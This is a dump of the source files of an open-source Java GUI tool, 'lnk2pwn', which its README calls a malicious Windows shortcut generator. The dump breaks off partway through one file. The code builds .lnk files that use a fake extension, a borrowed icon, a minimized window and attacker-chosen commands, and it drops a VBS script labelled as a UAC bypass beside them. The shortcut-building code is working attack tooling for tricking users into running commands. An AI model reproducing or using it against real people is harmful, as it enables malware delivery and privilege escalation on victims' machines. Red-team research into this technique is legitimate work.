[
  {
    "path": ".gitignore",
    "content": "# Directories #\n/build/\n/bin/\ntarget/\n\n# OS Files #\n.DS_Store\n\n# Compiled class file\n*.class\n\n# Package Files #\n*.jar\n*.war\n*.ear\n*.db\n*.nar\n*.zip\n*.tar.gz\n*.rar\n\n######################\n# Windows\n######################\n\n# Windows image file caches\nThumbs.db\n\n# Folder config file\nDesktop.ini\n\n######################\n# OSX\n######################\n\n.DS_Store\n.svn\n\n# Thumbnails\n._*\n\n# Files that might appear on external disk\n.Spotlight-V100\n.Trashes\n\n\n######################\n# Eclipse\n######################\n\n*.pydevproject\n.project\n.metadata\nbin/**\ntmp/**\ntmp/**/*\n*.tmp\n*.bak\n*.swp\n*~.nib\nlocal.properties\n.classpath\n.settings/\n.loadpath\n/src/main/resources/rebel.xml\n# External tool builders\n.externalToolBuilders/\n\n# Locally stored \"Eclipse launch configurations\"\n*.launch\n\n# CDT-specific\n.cproject\n\n# PDT-specific\n.buildpath\n\n\n*.iml\n.idea/*\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n/target/"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 ITGorillaz\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# lnk2pwn\nMalicious Shortcut(.lnk) Generator\n\n## About\n**lnk2pwn** is a gui tool that automates the process of generating malicious .lnk(Windows shortcut) files.\n\nMotivation: https://medium.com/@tommelo/pwned-by-a-shortcut-b21473970944\n\nPOC: https://www.youtube.com/watch?v=EC5ei48MCG8\n\n## License\nThis is an open-source software licensed under the [MIT license](https://opensource.org/licenses/MIT).\n"
  },
  {
    "path": "pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>com.itgorillaz</groupId>\n  <artifactId>lnk2pwn</artifactId>\n  <version>1.0.0</version>\n  <packaging>jar</packaging>\n\n  <name>lnk2pwn</name>\n  <url>http://maven.apache.org</url>\n\n  <parent>\n\t<groupId>org.springframework.boot</groupId>\n\t<artifactId>spring-boot-starter-parent</artifactId>\n\t<version>2.1.0.RELEASE</version>\n\t<relativePath/> <!-- lookup parent from repository -->\n  </parent>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t<java.version>1.8</java.version>\n\t<maven.compiler.source>1.8</maven.compiler.source>\n    <maven.compiler.target>1.8</maven.compiler.target>\n  </properties>\n\n  <dependencies>\n \t<dependency>\n\t  <groupId>org.springframework.boot</groupId>\n\t  <artifactId>spring-boot-starter</artifactId>\n\t   <exclusions>\n\t     <exclusion>\n\t       <groupId>org.springframework.boot</groupId>\n\t       <artifactId>spring-boot-starter-logging</artifactId>\n\t      </exclusion>\n\t  \t</exclusions>\n\t</dependency>\n\t\n\t<dependency>\n\t  <groupId>com.miglayout</groupId>\n\t  <artifactId>miglayout</artifactId>\n\t  <version>3.7.4</version>\n\t</dependency>\n\t\n\t<dependency>\n\t  <groupId>com.weblookandfeel</groupId>\n\t  <artifactId>weblaf-core</artifactId>\n\t  <version>1.2.8</version>\n\t</dependency>\n\t\n\t<dependency>\n\t  <groupId>com.weblookandfeel</groupId>\n\t  <artifactId>weblaf-ui</artifactId>\n\t  <version>1.2.8</version>\n\t</dependency>\n\t\n\t<dependency>\n\t  <groupId>com.github.vatbub</groupId>\n\t  <artifactId>mslinks</artifactId>\n\t  <version>1.1.4-SNAPSHOT</version>\n\t</dependency>\n\t\t\n\t<dependency>\n\t    <groupId>org.apache.logging.log4j</groupId>\n\t    <artifactId>log4j-core</artifactId>\t    \n\t</dependency>\n\t\t\n\t<dependency>\n\t    <groupId>org.apache.logging.log4j</groupId>\n\t    <artifactId>log4j-api</artifactId>\n\t</dependency>\n\t\t\t\t\t\n\t<dependency>\n\t  <groupId>org.springframework.boot</groupId>\n\t  <artifactId>spring-boot-starter-test</artifactId>\n\t  <scope>test</scope>\n\t</dependency>\n\t\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>      \n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  \n  <build>\n    <plugins>\n\t  <plugin>\n\t    <groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-maven-plugin</artifactId>\t\n\t\t<executions>\n\t        <execution>\n\t            <goals>\n\t                <goal>repackage</goal>\n\t            </goals>\n\t            <configuration>\t                \n\t                <mainClass>com.itgorillaz.lnk2pwn.Lnk2Pwn</mainClass>\n\t            </configuration>\n\t        </execution>\n    \t</executions>\n\t  </plugin>\n\t</plugins>\n  </build>\n \n</project>\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/ApplicationRunner.java",
    "content": "package com.itgorillaz.lnk2pwn;\n\nimport javax.swing.SwingUtilities;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.laf.WebLookAndFeel;\nimport com.itgorillaz.lnk2pwn.view.Lnk2PwnFrame;\nimport com.itgorillaz.lnk2pwn.view.core.BoundsPolicy;\nimport com.itgorillaz.lnk2pwn.view.core.WindowController;\n\n@Component\npublic class ApplicationRunner implements CommandLineRunner {\n\n    private static final Logger LOGGER = LogManager.getLogger(ApplicationRunner.class);\n    \n    @Autowired\n    private WindowController windowController;\n    \n    @Autowired\n    private Lnk2PwnFrame frame;\n    \n    @Override\n    public void run(String... args) throws Exception {\n        LOGGER.info(\"Installing Web Look And Feel\");\n        WebLookAndFeel.install();\n        \n        SwingUtilities.invokeLater(new Runnable() {\t\t\t\n            @Override\n            public void run() {\n                LOGGER.info(\"Running the main frame\");\n                windowController.show(frame, BoundsPolicy.MAXIMIZE);\n            }\n        });\t\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/Lnk2Pwn.java",
    "content": "package com.itgorillaz.lnk2pwn;\n\nimport java.io.IOException;\n\nimport org.springframework.boot.Banner.Mode;\nimport org.springframework.boot.WebApplicationType;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\n\n@SpringBootApplication\npublic class Lnk2Pwn {\n        \n    public static void main(String[] args) throws IOException {    \t    \t\n        new SpringApplicationBuilder(Lnk2Pwn.class)\n            .web(WebApplicationType.NONE)\n            .bannerMode(Mode.OFF)\n            .headless(false)\n            .build()\n            .run(args);        \t\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/config/ModelConfig.java",
    "content": "package com.itgorillaz.lnk2pwn.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.itgorillaz.lnk2pwn.model.Shortcut;\n\n@Configuration\npublic class ModelConfig {\n    \n    @Bean\n    public Shortcut shortchut() {\n        return new Shortcut();\t\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/config/UACBypassConfig.java",
    "content": "package com.itgorillaz.lnk2pwn.config;\n\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.stream.Collectors;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\npublic class UACBypassConfig {\n\n    private static final Logger LOGGER = LogManager.getLogger(UACBypassConfig.class);\n    \n    private final String LINE_SEPARATOR = System.lineSeparator();\n    private final String VBS_SOURCE_CODE_PATH = \"vbs/uac_bypass.vbs\";\n    \n    @Bean(name=\"VBSSourceCode\")\n    public String getVBSSourceCode() {\n        LOGGER.info(\"Loading VBS(UAC Bypass) source code\");\n        \n        InputStream in = UACBypassConfig.class.getClassLoader()\n                .getResourceAsStream(VBS_SOURCE_CODE_PATH);\n        \n        return new BufferedReader(new InputStreamReader(in))\n                  .lines()\n                  .collect(Collectors.joining(LINE_SEPARATOR));\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/controller/ShortcutController.java",
    "content": "package com.itgorillaz.lnk2pwn.controller;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\nimport javax.annotation.PostConstruct;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.stereotype.Component;\n\nimport com.github.vatbub.mslinks.ShellLink;\nimport com.github.vatbub.mslinks.ShellLinkException;\nimport com.github.vatbub.mslinks.ShellLinkHeader;\nimport com.itgorillaz.lnk2pwn.model.Shortcut;\n\n@Component\npublic class ShortcutController {\n\n    private static final Logger LOGGER = LogManager.getLogger(ShortcutController.class);\n    \n    private final String LINK_EXT = \".lnk\";\n    private final Map<String, Integer> WINDOW_STYLE_MAP = new HashMap<>();\n    \n    @PostConstruct\n    private void initWindowStyleMap() {\n        WINDOW_STYLE_MAP.put(\"MINIMIZED\", ShellLinkHeader.SW_SHOWMINNOACTIVE);\n        WINDOW_STYLE_MAP.put(\"MAXIMIZED\", ShellLinkHeader.SW_SHOWMAXIMIZED);\n        WINDOW_STYLE_MAP.put(\"NORMAL\", ShellLinkHeader.SW_SHOWNORMAL);\n    }\n        \n    public void generateShortcut(Shortcut shortcut) throws IOException, ShellLinkException {\n        LOGGER.info(\"Generating a new shortcut(.lnk)\");\n        \n        String fileName = String.valueOf(shortcut.getFileName());\n        String fakeExtension = String.valueOf(shortcut.getFakeExtension());\n        String workingDir = String.valueOf(shortcut.getWorkingDir());\n        String targetPath = String.valueOf(shortcut.getTargetPath());\n        String arguments = String.valueOf(shortcut.getArguments());\n        String iconLocation = String.valueOf(shortcut.getIconLocation());\n        String windowStyle = shortcut.getWindowStyle();\n        Integer iconIndex = shortcut.getIconIndex();\n        String vbsFileName = String.valueOf(shortcut.getVbsFileName());\n        String commandOuput = String.valueOf(shortcut.getCommandOuput());\n        String outputPath = String.valueOf(shortcut.getOutputPath());\t\t\n        String linkName = fileName.concat(fakeExtension);\n        \n        LOGGER.info(String.format(\"File Name: %s\", fileName));\n        LOGGER.info(String.format(\"Fake Extension: %s\", fakeExtension));\n        LOGGER.info(String.format(\"Working Dir: %s\", workingDir));\n        LOGGER.info(String.format(\"Target Path: %s\", targetPath));\n        LOGGER.info(String.format(\"Arguments: %s\", arguments));\n        LOGGER.info(String.format(\"Icon Location: %s\", iconLocation));\n        LOGGER.info(String.format(\"Icon Index: %s\", iconIndex));\n        LOGGER.info(String.format(\"Window Style: %s\", windowStyle));\n        LOGGER.info(String.format(\"VBS File Name: %s\", vbsFileName));\t\t\n        LOGGER.info(String.format(\"Link Name: %s\", linkName));\n        LOGGER.info(String.format(\"Output Path: %s\", outputPath));\n        LOGGER.info(String.format(\"Command Output:\\n%s\", commandOuput));\n                \n        ShellLink sl = ShellLink.createLink(linkName)\n                .setWorkingDir(workingDir)\t\t\t\t\n                .setTarget(targetPath)\n                .setCMDArgs(arguments)\t\t\t\t\n                .setIconLocation(iconLocation);\n        \n        sl.getHeader().setShowCommand(WINDOW_STYLE_MAP.get(shortcut.getWindowStyle()));\n        \n        if (!Objects.isNull(iconIndex)) {\n            sl.getHeader().setIconIndex(iconIndex);\n        }\n                                        \n        String linkOutput = outputPath\n                .concat(\"/\")\n                .concat(linkName)\n                .concat(LINK_EXT);\n                        \n        String vbsOutput = outputPath\n                .concat(\"/\")\n                .concat(vbsFileName);\n        \n        Files.write(Paths.get(vbsOutput), commandOuput.getBytes());\t\t\n        sl.saveTo(linkOutput);\n        \n        LOGGER.info(\"Shortcut successfully generated!\");\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/model/Shortcut.java",
    "content": "package com.itgorillaz.lnk2pwn.model;\n\npublic class Shortcut {\n\n    private String targetPath;\n    private String workingDir;\n    private String arguments;\n    private String description;\n    private String fileName;\n    private String fakeExtension;\n    private String iconLocation;\n    private Integer iconIndex;\n    private String windowStyle;\n    private String vbsFileName;\n    private String command;\n    private String commandOuput;\n    private String outputPath;\n\n    public String getTargetPath() {\n        return targetPath;\n    }\n\n    public void setTargetPath(String targetPath) {\n        this.targetPath = targetPath;\n    }\n\n    public String getWorkingDir() {\n        return workingDir;\n    }\n\n    public void setWorkingDir(String workingDir) {\n        this.workingDir = workingDir;\n    }\n\n    public String getArguments() {\n        return arguments;\n    }\n\n    public void setArguments(String arguments) {\n        this.arguments = arguments;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public String getFileName() {\n        return fileName;\n    }\n\n    public void setFileName(String fileName) {\n        this.fileName = fileName;\n    }\n\n    public String getFakeExtension() {\n        return fakeExtension;\n    }\n\n    public void setFakeExtension(String fakeExtension) {\n        this.fakeExtension = fakeExtension;\n    }\n\n    public String getIconLocation() {\n        return iconLocation;\n    }\n\n    public void setIconLocation(String iconPath) {\n        this.iconLocation = iconPath;\n    }\n\n    public Integer getIconIndex() {\n        return iconIndex;\n    }\n\n    public void setIconIndex(Integer iconIndex) {\n        this.iconIndex = iconIndex;\n    }\n\n    public String getWindowStyle() {\n        return windowStyle;\n    }\n\n    public void setWindowStyle(String windowStyle) {\n        this.windowStyle = windowStyle;\n    }\n\n    public String getVbsFileName() {\n        return vbsFileName;\n    }\n\n    public void setVbsFileName(String vbsFileName) {\n        this.vbsFileName = vbsFileName;\n    }\n\n    public String getCommand() {\n        return command;\n    }\n\n    public void setCommand(String command) {\n        this.command = command;\n    }\n\n    public String getCommandOuput() {\n        return commandOuput;\n    }\n\n    public void setCommandOuput(String commandOuput) {\n        this.commandOuput = commandOuput;\n    }\n\n    public String getOutputPath() {\n        return outputPath;\n    }\n\n    public void setOutputPath(String outputPath) {\n        this.outputPath = outputPath;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/AboutDialog.java",
    "content": "package com.itgorillaz.lnk2pwn.view;\n\nimport javax.annotation.PostConstruct;\n\nimport org.springframework.stereotype.Component;\n\nimport com.alee.extended.label.WebLinkLabel;\nimport com.alee.extended.label.WebMultiLineLabel;\nimport com.alee.laf.rootpane.WebDialog;\nimport com.itgorillaz.lnk2pwn.view.utils.IconFactory;\n\nimport net.miginfocom.swing.MigLayout;\n\n@Component\npublic class AboutDialog extends WebDialog {\n    \n    private static final long serialVersionUID = 2844121433961138163L;\n    \n    @PostConstruct\n    private void initComponents() {\n        this.setModal(true);\n        this.setTitle(\"About\");\n        this.setSize(400, 250);\n        this.setLayout(new MigLayout(\"\", \"[grow]\", \"[]50[]\"));\n                \n        WebMultiLineLabel label = new WebMultiLineLabel (getBanner(), WebMultiLineLabel.CENTER);\t\t\n        this.add(label, \"wrap\");\n        \n        WebLinkLabel github = new WebLinkLabel(\"https://github.com/it-gorillaz/lnk2pwn\", WebLinkLabel.CENTER);\n        github.setLink(\"https://github.com/it-gorillaz/lnk2pwn\");\n        github.setIcon(IconFactory.getIcon(\"github.png\"));\n        this.add(github, \"grow\");\n    }\n    \n    private String getBanner() {\n        return \n              \",-*\\n\" +\n              \"(_).lnk\\n\" +\n         \"-----------------\\n\" +           \n             \"<lnk2pwn>\\n\" +\n    \"Malicious Shortcut(.lnk) Generator\\n\" +\n                           \"[v1.0.0]\";\t\t\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/Lnk2PwnFrame.java",
    "content": "package com.itgorillaz.lnk2pwn.view;\n\nimport javax.annotation.PostConstruct;\nimport javax.swing.JFrame;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.laf.rootpane.WebFrame;\nimport com.itgorillaz.lnk2pwn.view.form.FormPanel;\nimport com.itgorillaz.lnk2pwn.view.utils.IconFactory;\n\nimport net.miginfocom.swing.MigLayout;\n\n@Component\npublic class Lnk2PwnFrame extends WebFrame {\n    \n    private static final long serialVersionUID = 8887385829173862121L;\n    \n    private final MigLayout LAYOUT = new MigLayout(\"\", \n            \"[grow]\", \n            \"[]\");\n    \n    @Autowired\n    private MenuBar menubar;\n    \n    @Autowired\n    private FormPanel formPanel;\n    \n    @PostConstruct\n    private void initComponents() {\n        this.setTitle(\"lnk2pwn\");\n        this.setName(\"lnk2pwn\");\n        this.setIconImage(IconFactory.getIcon(\"bomb.png\").getImage());\n        this.setLayout(LAYOUT);\n        this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n        this.setJMenuBar(menubar);\n        this.add(formPanel, \"grow\");\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/MenuBar.java",
    "content": "package com.itgorillaz.lnk2pwn.view;\n\nimport javax.annotation.PostConstruct;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.laf.menu.WebMenu;\nimport com.alee.laf.menu.WebMenuBar;\nimport com.alee.laf.menu.WebMenuItem;\nimport com.alee.laf.separator.WebSeparator;\nimport com.itgorillaz.lnk2pwn.view.action.ExitAction;\nimport com.itgorillaz.lnk2pwn.view.action.ShowAboutDialogAction;\nimport com.itgorillaz.lnk2pwn.view.utils.IconFactory;\n\n@Component\npublic class MenuBar extends WebMenuBar {\n\n    private static final long serialVersionUID = -288171329249268844L;\n\n    @Autowired\n    private ExitAction exitAction;\n    \n    @Autowired\n    private ShowAboutDialogAction showAboutDialogAction;\n    \n    @PostConstruct\t\n    private void initComponents() {\n        WebMenu menu = new WebMenu(\"File\");\n        menu.setIcon(IconFactory.getIcon(\"file.png\"));\n        \n        WebMenuItem about = new WebMenuItem(\"About\");\n        about.setIcon(IconFactory.getIcon(\"about.png\"));\n        about.addActionListener(showAboutDialogAction);\n        \n        WebMenuItem exit = new WebMenuItem(\"Exit\");\n        exit.setIcon(IconFactory.getIcon(\"exit.png\"));\n        exit.addActionListener(exitAction);\n        \n        menu.add(about);\n        menu.add(new WebSeparator());\n        menu.add(exit);\t\t\n        \n        this.add(menu);\n    }\n    \n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/action/ExitAction.java",
    "content": "package com.itgorillaz.lnk2pwn.view.action;\n\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class ExitAction implements ActionListener {\n\n    private static final Logger LOGGER = LogManager.getLogger(ExitAction.class);\n    \n    @Override\n    public void actionPerformed(ActionEvent event) {\n        LOGGER.info(\"Shutting down the application\");\n        System.exit(0);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/action/GenerateShortcutAction.java",
    "content": "package com.itgorillaz.lnk2pwn.view.action;\n\nimport java.awt.Desktop;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.io.File;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.extended.filechooser.WebDirectoryChooser;\nimport com.alee.laf.optionpane.WebOptionPane;\nimport com.alee.utils.swing.DialogOptions;\nimport com.itgorillaz.lnk2pwn.controller.ShortcutController;\nimport com.itgorillaz.lnk2pwn.model.Shortcut;\nimport com.itgorillaz.lnk2pwn.view.core.WindowController;\n\n@Component\npublic class GenerateShortcutAction implements ActionListener {\n    \n    private static final Logger LOGGER = LogManager.getLogger(GenerateShortcutAction.class);\n    \n    @Autowired\n    private Shortcut shortcut;\n    \n    @Autowired\n    private ShortcutController controller;\n    \n    @Autowired\n    private WindowController windowController;\n    \n    private WebDirectoryChooser directoryChooser;\n    \n    @Override\n    public void actionPerformed(ActionEvent event) {\n        LOGGER.info(\"Generate button clicked\");\n        \n        if (directoryChooser == null) {\n            directoryChooser = new WebDirectoryChooser(windowController.getRootFrame());\n        }\n            \n        LOGGER.info(\"Openning the directory chooser\");\n        directoryChooser.setVisible(true);\n        if (directoryChooser.getResult () == DialogOptions.CANCEL_OPTION){\n            LOGGER.info(\"No output path selected, canceling the action\");\n            return;\n        }\n                \n        File outputPath = directoryChooser.getSelectedDirectory();\t\t\n        shortcut.setOutputPath(outputPath.getAbsolutePath());\n                    \n        try {\n            \n            controller.generateShortcut(shortcut);\n            int result = WebOptionPane.showConfirmDialog(\n                    windowController.getRootFrame(), \n                    \"Shortcut successfully generated!\\nWould you like to open the folder location?\", \n                    \"Shortcut\", \n                    WebOptionPane.YES_NO_OPTION,\n                    WebOptionPane.INFORMATION_MESSAGE);\n            \n            if (WebOptionPane.YES_OPTION == result) {\n                LOGGER.info(\"Openning the output path\");\n                Desktop.getDesktop().open(outputPath);\n            }\n            \n        } catch (Exception e) {\n            LOGGER.error(e);\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/action/ShowAboutDialogAction.java",
    "content": "package com.itgorillaz.lnk2pwn.view.action;\n\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.itgorillaz.lnk2pwn.view.AboutDialog;\nimport com.itgorillaz.lnk2pwn.view.core.WindowController;\n\n@Component\npublic class ShowAboutDialogAction implements ActionListener {\n\n    private static final Logger LOGGER = LogManager.getLogger(ShowAboutDialogAction.class);\n    \n    @Autowired\n    private WindowController windowController;\n    \n    @Autowired\n    private AboutDialog aboutDialog;\n    \n    @Override\n    public void actionPerformed(ActionEvent event) {\n        LOGGER.info(\"About button clicked\");\n        LOGGER.info(\"Openning the about modal dialog\");\n        aboutDialog.setLocationRelativeTo(windowController.getRootFrame());\n        aboutDialog.setVisible(true);\t\t\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/core/BoundsPolicy.java",
    "content": "package com.itgorillaz.lnk2pwn.view.core;\n\npublic enum BoundsPolicy {\n    PACK_ONLY,\n    PACK_AND_CENTER,\n    CENTER_ONLY,\n    MAXIMIZE,\n    MAXIMIZE_BOTH,\n    RESTORE_LAST_STATE\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/core/DefaultWindowController.java",
    "content": "package com.itgorillaz.lnk2pwn.view.core;\n\nimport java.awt.AWTEvent;\nimport java.awt.Dimension;\nimport java.awt.EventQueue;\nimport java.awt.Insets;\nimport java.awt.Toolkit;\nimport java.awt.Window;\nimport java.awt.event.AWTEventListener;\nimport java.awt.event.WindowEvent;\n\nimport javax.swing.JFrame;\n\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class DefaultWindowController implements WindowController, AWTEventListener {\n\n    private Window window;\n    private JFrame root;\n        \n    @Override\n    public void show(JFrame frame, BoundsPolicy policy) {\n        Toolkit.getDefaultToolkit().addAWTEventListener(this, AWTEvent.WINDOW_EVENT_MASK);\n        this.root = frame;\n        this.initBounds(frame, policy);\n        frame.setVisible(true);\n    }\n\n    @Override\n    public Window getActiveWindow() {\n        return window;\n    }\n\n    @Override\n    public JFrame getRootFrame() {\n        return root;\n    }\n    \n    @Override\n    public void eventDispatched(AWTEvent event) {\n        if (event instanceof WindowEvent) {\n            WindowEvent windowEvent = (WindowEvent) event;\n            \n            switch(windowEvent.getID())\n            {\n                case WindowEvent.WINDOW_ACTIVATED:\n                    window = windowEvent.getWindow();\n                    break;\n                    \n                case WindowEvent.WINDOW_DEACTIVATED:\n                    window = null;\n                    break;\n                    \n                default:\n                    break;\n            }\n            \n        }\n    }\n        \n    private void initBounds(JFrame frame, BoundsPolicy policy) {\n        if (!EventQueue.isDispatchThread()) {\n            throw new IllegalStateException(\"WindowController.show() should be called \"\n                    + \"from the Event Dispatch Thread.\");\n        }\n        \n        switch(policy) {\n            \n            case CENTER_ONLY:\n                frame.setLocationRelativeTo(null);\n                break;\n            \n            case MAXIMIZE_BOTH:\n                frame.setState(JFrame.MAXIMIZED_BOTH);\n                break;\n                \n            case PACK_ONLY:\n                frame.pack();\n                break;\n                \n            case PACK_AND_CENTER:\n                frame.pack();\n                frame.setLocationRelativeTo(null);\n                break;\n            \n            case MAXIMIZE:\n                Toolkit toolkit = Toolkit.getDefaultToolkit();\n                Dimension dimension = toolkit.getScreenSize();\n                Insets insets = toolkit.getScreenInsets(frame.getGraphicsConfiguration());\n                \n                int width = dimension.width - (insets.left + insets.top);\n                int height = dimension.height - (insets.top + insets.bottom);\n                int x = insets.left;\n                int y = insets.right;\n                \n                frame.pack();\n                frame.setSize(width, height);\n                frame.setLocation(x, y);\n                \n                break;\n            \n            case RESTORE_LAST_STATE:\n                break;\n            \n            default:\n                break;\t\t\t\n        }\n        \n    }\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/core/WindowController.java",
    "content": "package com.itgorillaz.lnk2pwn.view.core;\n\nimport java.awt.Window;\n\nimport javax.swing.JFrame;\n\npublic interface WindowController {\n    \n    public void show(JFrame frame, BoundsPolicy policy);\n        \n    public Window getActiveWindow();\n    \n    public JFrame getRootFrame();\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/form/FormPanel.java",
    "content": "package com.itgorillaz.lnk2pwn.view.form;\n\nimport javax.annotation.PostConstruct;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.alee.extended.painter.TitledBorderPainter;\nimport com.alee.laf.button.WebButton;\nimport com.alee.laf.panel.WebPanel;\nimport com.itgorillaz.lnk2pwn.view.action.GenerateShortcutAction;\nimport com.itgorillaz.lnk2pwn.view.utils.IconFactory;\n\nimport net.miginfocom.swing.MigLayout;\n\n@Component\npublic class FormPanel extends WebPanel {\n    \n    private static final long serialVersionUID = 4905134163745537325L;\n    \n    private WebButton generateButton = new WebButton(\"Generate Shortcut\", IconFactory.getIcon(\"skull.png\"));\n        \n    @Autowired\n    private ShortcutInfoPanel shortcutInfoPanel;\n    \n    @Autowired\n    private UACBypassPanel uacBypassPanel;\n            \n    @Autowired\n    private GenerateShortcutAction generateShortcutAction;\n    \n    @PostConstruct\t\n    private void initComponents() {\n        this.setLayout(new MigLayout(\"\", \"[grow]\", \"[][grow][]\"));\n                        \n        generateButton.addActionListener(generateShortcutAction);\t\t\n        shortcutInfoPanel.setPainter(new TitledBorderPainter<>(\"Shortcut\"));\t\t\t\t\n        uacBypassPanel.setPainter(new TitledBorderPainter<>(\"UAC Bypass\"));\n        \n        WebPanel generatePanel = createGenerateButtonPanel();\n        \n        this.add(shortcutInfoPanel, \"grow,wrap\");\n        this.add(uacBypassPanel, \"w 100%,h 100%,wrap\");\t\t\n        this.add(generatePanel, \"grow\");\t\t\n    }\n    \n    private WebPanel createGenerateButtonPanel() {\n        MigLayout layout = new MigLayout(\"\", \"[grow]\", \"\");\n        WebPanel panel = new WebPanel();\n        panel.setLayout(layout);\n        panel.add(generateButton, \"east\");\n                \n        return panel;\n    }\t\n\n}\n"
  },
  {
    "path": "src/main/java/com/itgorillaz/lnk2pwn/view/form/ShortcutInfoPanel.java",
